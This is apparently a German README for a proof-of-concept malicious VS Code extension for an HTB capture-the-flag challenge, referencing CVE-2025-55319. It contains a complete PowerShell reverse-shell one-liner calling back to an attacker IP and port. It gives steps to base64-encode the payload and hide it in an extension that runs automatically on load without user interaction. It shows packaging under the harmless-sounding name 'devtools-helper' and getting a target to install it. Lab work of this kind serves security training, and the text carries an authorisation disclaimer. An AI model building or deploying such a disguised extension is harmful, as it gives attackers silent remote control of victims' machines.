
PoC for CVE-2025-55319
Referenz: CVE-2025-55319
Proof-of-concept VS Code (.vsix)-Erweiterung für die HTB "Checkpoint"-Challenge.
Nach der Installation aktiviert sich die Erweiterung automatisch und startet eine versteckte PowerShell-Reverse-Shell zurück zum Angreifer.
⚠️ Nur für autorisierte Nutzung. Dies ist ein CTF/Labor-Artefakt. Setzen Sie es nur gegen Maschinen ein, die Ihnen gehören oder für die Sie explizit autorisiert sind (z.B. eine HTB-Zielbox).
extension/package.json — Erweiterungsmanifest. "activationEvents": ["*"] bewirkt, dass es beim Laden von VS Code sofort ausgeführt wird, ohne Benutzerinteraktion.extension/extension.js — führt bei activate() ein base64-kodiertes PowerShell-Payload mit -WindowStyle Hidden -NoProfile für eine stille Reverse-Shell aus.[Content_Types].xml — OpenXML-Inhaltstyp-Manifest, damit der Ordner in ein gültiges .vsix-Paket gezippt werden kann..
├── [Content_Types].xml # VSIX-Inhaltstyp-Manifest
└── extension/
├── package.json # Erweiterungsmanifest (aktiviert bei "*")
└── extension.js # Reverse-Shell-Payload
Generieren Sie eine base64 (UTF-16LE) PowerShell-Reverse-Shell, die auf Ihre Angriffsbox zeigt:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
Fügen Sie die Ausgabe über YOUR_BASE64_PAYLOAD_HERE in extension/extension.js ein:
const payload = '<base64-blob-here>'
nc -lvnp 4443
Eine .vsix-Datei ist einfach ein ZIP mit dem extension/-Ordner plus dem Manifest im Stammverzeichnis:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
Bringen Sie das Ziel dazu, die Erweiterung zu installieren. Entweder:
code --install-extension devtools-helper.vsix··· → Aus VSIX installieren…Beim nächsten VS Code-Start (oder sofort nach der Installation) wird das *-Aktivierungsereignis ausgelöst, das Payload ausgeführt und Ihr Listener empfängt die Shell.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
Entfernen Sie die Erweiterung vom Ziel, wenn Sie fertig sind:
code --uninstall-extension devtools.devtools-helper
extension.js für andere Plattformen an.os wird in extension.js importiert, aber nicht verwendet — praktisch, wenn Sie auf os.platform() verzweigen möchten, um Linux/macOS-Ziele zu unterstützen.version in package.json zwischen Builds, wenn Sie neu packen.